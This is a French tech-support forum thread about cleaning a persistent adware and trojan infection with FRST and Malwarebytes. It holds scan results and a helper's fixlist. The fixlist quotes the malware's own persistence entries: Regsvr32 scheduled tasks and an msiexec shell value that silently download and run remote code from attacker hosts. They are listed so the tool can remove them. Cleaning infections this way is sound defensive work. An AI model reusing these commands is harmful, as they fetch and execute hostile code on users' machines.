Rootkit ou un truc du genre Fermé

Question

Salut,
ca fait 3 jours que je m'arrache la tête en vain. Avast me fait des alertes très souvent (d'habitude des menaces bloquées avec un lien internet, et une fois un gros message du genre il y a un rootkit: kitty.exe). J'ai utilisé avast, adwcleaner, malwarebytes, sophos, Ccleaner, tout ça plusieurs fois et en mode extrême autant que possible. 
J'ai désinstallé le faux Firefox qui s'est installé tout seul, j'ai réinstallé Chrome et les effacer les répertoires contenant des faux Chromes. Quand je scanne avec les anti-virus, je trouve toujours un truc au bout d'un moment (quoique là ça fait bien 1h que j'ai pas eu d'alerte, Est-ce que c'est parce que je suis sous internet explorer pour une fois?). 
Je n'ai rien télécharger dernièrement, mais j'ai branché un vieux disque dur externe de sauvegarde. Si c'est lui qui est à l'origine de mes soucis, comment accéder à mes données sans me retaper une infection?
Je sollicite votre aide, ça me ferais pleurer de devoir réinstaller ma tonne de logiciels.

Voici mes fichiers:
FRST http://pjjoint.malekal.com/files.php?id=FRST_20170420_w12h9g15s7u9
Additional http://pjjoint.malekal.com/files.php?id=20170420_x8d15b8n7p7
Shortcuts http://pjjoint.malekal.com/files.php?id=20170420_p6b14j8b12q6

Merci d'avance si qqun peut m'aider.

Malekal_morte- · Answer

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R, 
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit : 

CreateRestorePoint:CloseProcesses:Task: {1B4E80ED-6498-4C5E-83BC-16E1EAE30F08} - System32\Tasks\Windows-WoShiBeiYongDe => Regsvr32.exe /s /i:hxxp://u76wtn6.x.incapdns.net/?data=zDlkMj1YF8F8MkF5M8U3RWLLRkU4MjQWRkZSNWIxMYFyNkU4OF== scrobj.dll Task: {D235E823-879C-4E2B-80F3-AB919D0169DE} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lbyhbyc.com/?data=zDlkMj1YF8F8MkF5M8U3RWLLRkU4MjQWRkZSNWIxMYFyNkU4OF== scrobj.dll  R2 GameExplorerUpdate; C:\ProgramData\Microsoft\Windows\GameExplorer\Resources.dll [113664 2017-04-19] () [Fichier non signé]     S2 AppleNotificationsSrv; C:\ProgramData\Software\Apple\Apps\Notification.dll [X] :\ProgramData\Microsoft\Windows\GameExplorer       2017-04-19 13:38 - 2017-04-19 13:38 - 00000000 ____D C:\Users\Sylvestre\AppData\Local\Dohat  2017-04-19 12:19 - 2017-04-19 12:19 - 00006379 _____ C:\Users\Sylvestre\Documents\free_av_17.3.2291_2017-4-19_12-19-26.avastconfig  2017-04-19 12:07 - 2017-04-19 12:07 - 00000000 ____D C:\Program Files (x86)\58F736DD_jumpeasy  2017-04-19 12:06 - 2017-04-19 20:40 - 00000000 ____D C:\Users\Sylvestre\AppData\Local\3DM  2017-04-19 12:06 - 2017-04-19 12:07 - 00000000 ____D C:\Program Files (x86)\58F736AB_jumpeasy   2017-04-18 13:32 - 2016-12-04 21:11 - 00000000 ____D C:\ProgramData\Spybot - Search & Destroy  2017-04-18 13:32 - 2016-12-04 21:11 - 00000000 ____D C:\Program Files (x86)\Spybot - Search & Destroy 2 HKU\S-1-5-21-4223715313-827883581-3852278338-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj1YF8F8MkF5M8U3RWLLRkU4MjQWRkZSNWIxMYFyNkU4OF%3D%3D /q [Pays US - 104.24.101.133] Hosts:EmptyTemp:RemoveProxy:Reboot:

Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",

A gauche, place toi sur le Bureau,

Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparait, copie/colle le contenu ici dans un nouveau message.


Redémarre l'ordinateur.



2°)
Réinitialise/Répare les navigateurs WEB concernés par les problèmes :

 Réparer Mozilla Firefox (premier paragraphe)
 Réparer Google Chrome (seulement le premier paragraphe).
 Réinitialiser et réparer Internet Explorer

3°)
fais un nettoyage Malwarebytes -  Tutoriel Malwarebytes Anti-Malware version gratuite

Aze · Answer

Salut, merci pour l'aide, c'est vraiment cool. 
Voici mon fichier fixlog:
http://pjjoint.malekal.com/files.php?id=20170420_n8x5g11w13l14

il me reste les étapes 2 et 3 à faire.

jeanrembarde · Answer

Bonjour, j'ai exactement le même problème que Aze, j'ai même déjà fait des scans avec Malwarebytes et tous les utilitaires les plus courants, sauf FRST car je comprends pas du tout le fonctionnement, j'ai déjà viré kitty.exe .... c'est la 3 e fois que mon Chrome et Firefox sont vérolés et sont déplacé vers des nouveaux dossier dans program files dans des noms de dossier fictifs débiles et différent à chaque fois comme Everbean ...
Bref, 
Quelqu'un pourrait m'aider à analyser un rapport FRST si c'est ça qu'il faut faire ? merciii

Aze · Answer

Ca l'air plus vicieux que ce que je pensais en fait. Hier Malwarebytes m'avait trouvé 2 malwares, aujourd'hui il me trouve plein de trojans...C'est flippant là à force. 
Malwarebytes m'a fait redémarrer, Chrome ne marchait plus (réinstallé) et pas moyen d'envoyer ce post via internet explorer (le site me dit d'activer javascript alors qu'hier ça ne posait pas de souci).

Je suis désolé de devoir redemander de l'aide :=/

Voici mes logs juste après le redémarrage forcé par Malwarebytes

http://pjjoint.malekal.com/files.php?id=FRST_20170422_t514r10w6y6
http://pjjoint.malekal.com/files.php?id=20170422_w9c13w15q8n12
http://pjjoint.malekal.com/files.php?id=20170422_g12k12y6k15q7

Et ce que m'a trouvé Malwarebytes:
Hier:
Fichier: 1
Adware.Elex, C:\PROGRAMDATA\MICROSOFT\WINDOWS\GAMEEXPLORER\RESOURCES.DLL, En quarantaine, [2], [391676],1.0.1772

Aujourd'hui:
Dossier: 7
Trojan.WisdomEyes, C:\Users\Sylvestre\AppData\Roaming\SSMgre\SSRec\JTFW, En quarantaine, [531], [391958],1.0.1781
Trojan.WisdomEyes, C:\Users\Sylvestre\AppData\Roaming\SSMgre\SSRec, En quarantaine, [531], [391958],1.0.1781
Trojan.WisdomEyes, C:\USERS\SYLVESTRE\APPDATA\ROAMING\SSMgre, En quarantaine, [531], [391958],1.0.1781
Trojan.WisdomEyes, C:\Program Files (x86)\BiaoJi\CC, En quarantaine, [531], [391957],1.0.1781
Trojan.WisdomEyes, C:\Program Files (x86)\BiaoJi\FE, En quarantaine, [531], [391957],1.0.1781
Trojan.WisdomEyes, C:\Program Files (x86)\BiaoJi\FS, En quarantaine, [531], [391957],1.0.1781
Trojan.WisdomEyes, C:\PROGRAM FILES (X86)\BiaoJi, En quarantaine, [531], [391957],1.0.1781

Fichier: 1
Trojan.WisdomEyes, C:\Users\Sylvestre\AppData\Roaming\SSMgre\SSRec\JTFW\JTFW.dll, En quarantaine, [531], [391958],1.0.1781

Jeanrembarde · Answer

Ohlala , on est perdus ! J'espère quz la correction va tenir. J'ai jamais vu un virus aussi tenace.

Rootkit ou un truc du genre

5 réponses

Discussions similaires